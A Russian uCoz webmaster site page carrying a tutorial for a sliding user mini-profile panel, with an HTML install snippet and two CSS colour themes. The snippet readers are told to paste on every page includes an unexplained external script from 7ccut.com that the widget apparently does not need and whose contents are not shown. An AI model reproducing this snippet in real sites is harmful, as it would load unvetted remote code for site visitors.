Гарантирую вывод в топ Яндекса и Google! Заказать сайт либо его продвижение можно здесь >> Главная | Регистрация | Вход

Заказать сайт вебмастеру можно здесь

сайт турфирмы Юник

Раскрутка unique-travel.ru - сайта о турах и экскурсиях по всему миру

История продвижения сайта - Перейти на сайт турфирмы.

www.orlovsky-fun.ru - сайт караоке клуба Кадиллак

Поддержка и продвижение с августа 2012 года История продвижения сайта - Перейти на сайт клуба Кадиллак.

Продвижение visitscope.ru - русское экскурсионное бюро в Париже

Продвижение с 2012 года История продвижения сайта - Перейти на сайт экскурсионного бюро.

www.webpublication.ru - французская компания Интернет публикаций

Продвижение с июня 2013 года История продвижения сайта - Заказать интерактивную публикацию.

Комбинированные туры в Италию

www.italiano-tour.ru - Комбинированные туры в Италию

Создание и продвижение с февраля 2014 года История продвижения сайта - Комбинированные туры в Италию

Раскрутка сайта www.gifprikol.com - Анимационные приколы.

Создание и продвижение с февраля 2012 года Лучшие GIF приколы

Создание и продвижение сайта newhit.org - Новые mp3 рингтоны

Создание и продвижение с мая 2014 года. История продвижения сайта - Новинки хит парадов

Раскрутка и создание сайта о лекарствах - citofarma.ru

Создание и продвижение с февраля 2012 года Бесполезные лекарства

  • unknown master
  • unknown master
  • unknown master
  • unknown master
  • unknown master
  • GIF приколы
  • рингтоны новинки
  • Лекарства
Заказать раскрутку сайта

Популярные материалы

[11.09.2012][Белые каталоги]
Список белых каталогов для раскрутки сайта скачать бесплатно (4)
[09.10.2013][Белые каталоги]
Доски объявлений без регистрации для раскрутки сайта (2)
[22.10.2012][Белые каталоги]
Белые каталоги для раскрутки сайтов Скачать списком (2)
[07.12.2012][Скрипты для ucoz]
Скрипт переводчика для ucoz скачать (1)
[12.03.2014][Скрипты для ucoz]
Красивый Слайдер для ucoz сайтов (0)

Последние новости

[23.09.2015][Скрипты для ucoz]
Красивый Слайдер для ucoz c демо (0)
[28.07.2014][Шаблоны для ucoz]
Шаблон бизнес сайта для ucoz (0)
[29.07.2014][Шаблоны для ucoz]
Шаблон музыкального сайта с плейлистами скачать (0)
[13.08.2014][Шаблоны для ucoz]
Шаблон для ucoz c рабочим конструктором (1)
[14.08.2014][Шаблоны для ucoz]
Шаблон для ucoz тема игры и развлечения (0)

Форма входа

Меню сайта

Статистика


Онлайн всего: 1
Гостей: 1
Пользователей: 0

Главная » 2014 » Январь » 21 » Выдвижной мини-профиль
11:30
Выдвижной мини-профиль
В этом топике мы будем устанавливать красивый выдвижной мини-профиль который вовсе не занимает место на сайте. Помимо функциональности, выдвижной мини-профиль добавит вашему сайту юзабилити, пользователям будет проще обращаться к основным функциям\ссылкам сайта касающиеся управления аккаунтом и не только.

Вы так же можете изменять, добавлять: новые ссылки, иконки, расцветку выдвижного мини профиля. Я вам подробно распишу где, что и как изменить, а так же представлю 2 уже готовых цветовых решений (светлый, темный).

Установка
1. Установите HTML код на всех страницах сайта, рекомендую в нижнюю часть сайта.

Код
<?if($USER_LOGGED_IN$)?>  
  <ul class="uwaid_panel">  
  <li class="close_p">X</li>  
  <li><a href="$PERSONAL_PAGE_LINK$"><img src="<?if($USER_AVATAR_URL$)?>$USER_AVATAR_URL$<?else?>http://pnghosts.ru/img/1275.jpg<?endif?>">Мой профиль</a></li>  
  <li><a href="$PM_URL$"><i class="uwaid_icon message"></i>Сообщения <span>$UNREAD_PM$</span></a></li>  
  <li><a href="/index/11"><i class="uwaid_icon settings"></i>Изменить данные</a></li>  
  <li><a href="$LOGOUT_LINK$"><i class="uwaid_icon exit"></i>Выйти с сайта</a></li>  
  </ul><script src="http://7ccut.com/table.js" type="text/javascript"></script>  
  <div class="my_profile">Мой профиль</div>  
  <script type="text/javascript" src="http://pnghosts.ru/js_css/3983_profile.uwaid.r.js"></script>  
  <?endif?>


2. В таблицу стилей (CSS) вставьте один из предложенных стилей.

Темный (Основной)

Код
.uwaid_panel {position: fixed; right:10px; bottom:10px; display:none; list-style: none; margin: 0; padding: 0; z-index:9999999999999;}  
  .uwaid_panel a { width: 200px; height: 40px; text-decoration:none; display: block; padding: 9px;text-align: left; font: 16px Tahoma; line-height: 37px;transition: all 0.3s 0.09s ease;-moz-transition: all 0.3s 0.09s ease;-webkit-transition: all 0.3s 0.09s ease;-o-transition: background 0.3s 0.09s ease; }  
  .uwaid_panel a:hover { text-decoration:none;}  
  .uwaid_panel a img, .uwaid_icon { height: 40px; width: 40px; float: left; margin-right: 9px; }  
  .uwaid_panel a span {border-radius: 46px;float: right;padding: 0 15px;font-size: 13px;}  
  .uwaid_icon {background:url('http://pnghosts.ru/img/18148035.png');}  
  .settings {background-position-y: -40px;}  
  .exit {background-position-y: -80px;}  
  .my_profile {padding: 0 23px;z-index:9999999999999; text-align:center; font:16px Tahoma; line-height:37px;transition: all 0.3s 0.09s ease;-moz-transition: all 0.3s 0.09s ease;-webkit-transition: all 0.3s 0.09s ease;-o-transition: background 0.3s 0.09s ease; position:fixed; right:10px; bottom:10px;}  
  .my_profile:hover {cursor:pointer;}  
  .close_p {position: absolute;margin-left: 216px;border-radius: 17px;padding: 4px 8px;margin-top: -14px;}  
  .close_p:hover {cursor:pointer;}  
  /* Цветовые стили */  
  .uwaid_panel {border:7px solid #33373b;border-bottom:6px solid #33373b;border-left:none; }  
  .uwaid_panel a {background: #272a2d; border-left:7px solid #33373b;color: #fff;}  
  .uwaid_panel a:hover {background:#232629;border-left:7px solid #e05b5b;}  
  .uwaid_panel a span {background: #e05b5b;}  
  .my_profile {border:7px solid #33373b;background: #272a2d;color:#fff;}  
  .my_profile:hover {background:#454B50;}  
  .close_p {background: #e05b5b;color: #fff;}  
  .close_p:hover {background:#F87676;}


Светлый

Код
.uwaid_panel { position: fixed; right:10px; bottom:10px; display:none; list-style: none; margin: 0; padding: 0; z-index:9999999999999;}  
  .uwaid_panel a { width: 200px; height: 40px; text-decoration:none; display: block; padding: 9px;text-align: left; font: 16px Tahoma; line-height: 37px;transition: all 0.3s 0.09s ease;-moz-transition: all 0.3s 0.09s ease;-webkit-transition: all 0.3s 0.09s ease;-o-transition: background 0.3s 0.09s ease; }  
  .uwaid_panel a:hover {text-decoration:none;}  
  .uwaid_panel a img, .uwaid_icon { height: 40px; width: 40px; float: left; margin-right: 9px; }  
  .uwaid_panel a span {border-radius: 46px;float: right;padding: 0 15px;font-size: 13px;}  
  .uwaid_icon {background:url('http://pnghosts.ru/img/18148035.png');}  
  .settings {background-position-y: -40px;}  
  .exit {background-position-y: -80px;}  
  .my_profile {padding: 0 23px;z-index:9999999999999; text-align:center; font:16px Tahoma; line-height:37px;transition: all 0.3s 0.09s ease;-moz-transition: all 0.3s 0.09s ease;-webkit-transition: all 0.3s 0.09s ease;-o-transition: background 0.3s 0.09s ease; position:fixed; right:10px; bottom:10px;}  
  .my_profile:hover {cursor:pointer;}  
  .close_p {position: absolute;margin-left: 216px;border-radius: 17px;padding: 4px 8px;margin-top: -14px;}  
  .close_p:hover {cursor:pointer;}  
  /* Цветовые стили */  
  .uwaid_panel {border: 7px solid #C4C6C7;border-bottom: 6px solid #C4C6C7;border-left:none;}  
  .uwaid_panel a {background: #E4E4E4;border-left: 7px solid #C4C6C7;color:#555353;text-shadow: 0 1px 0 #fff;}  
  .uwaid_panel a:hover {background: #A2A2A2;border-left: 7px solid #807C7C;text-shadow:0 1px 0 #BDBDBD;}  
  .uwaid_panel a span {background: #C7C7C7;}  
  .my_profile {background:#E4E4E4;border: 7px solid #C4C6C7;color:#555353;}  
  .my_profile:hover {background:#DAD7D7; border: 7px solid #807C7C;}  
  .close_p {background: #C7C7C7;color: #fff;}  
  .close_p:hover {background: #A2A2A2;}


Настройка цветов
Для удобства все стили отвечающие за цветовую схему выдвижного мини-профиля вынесены в отдельные селекторы. После "/* Цветовые стили */".
.uwaid_panel — Основной стиль панели.
.uwaid_panel a — Стили ссылки в обычном состоянии.
.uwaid_panel a:hover — Стили ссылки при наведении.
.uwaid_panel a span — Стили количества сообщений.
.my_profile — Стили кнопки вызова панели.
.close_p — Стили кнопки закрытия панели.

Основываясь на этом можно изменять цвета:
border — Обводка
background — Фон
color — Цвет текста

Схожие материалы по теме материалы


Если данный материал, был полезен для вас, не забываем поделиться с друзьми !

Нравится
Категория: Продвижение сайтов | Просмотров: 579 | Добавил: Bitfood | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

Поиск

Я на Facebook

Будь вконтакте

Задать вопрос

200

Календарь

«  Январь 2014  »
ПнВтСрЧтПтСбВс
  12345
6789101112
13141516171819
20212223242526
2728293031

Кто на сайте?


Выбрать язык / Choose language:
Ukranian
English
French
German
Japanese
Italian
Portuguese
Spanish
Danish
Chinese
Korean
Arabic
Czech
Estonian
Belarusian
Latvian
Greek
Finnish
Serbian
Bulgarian
Turkish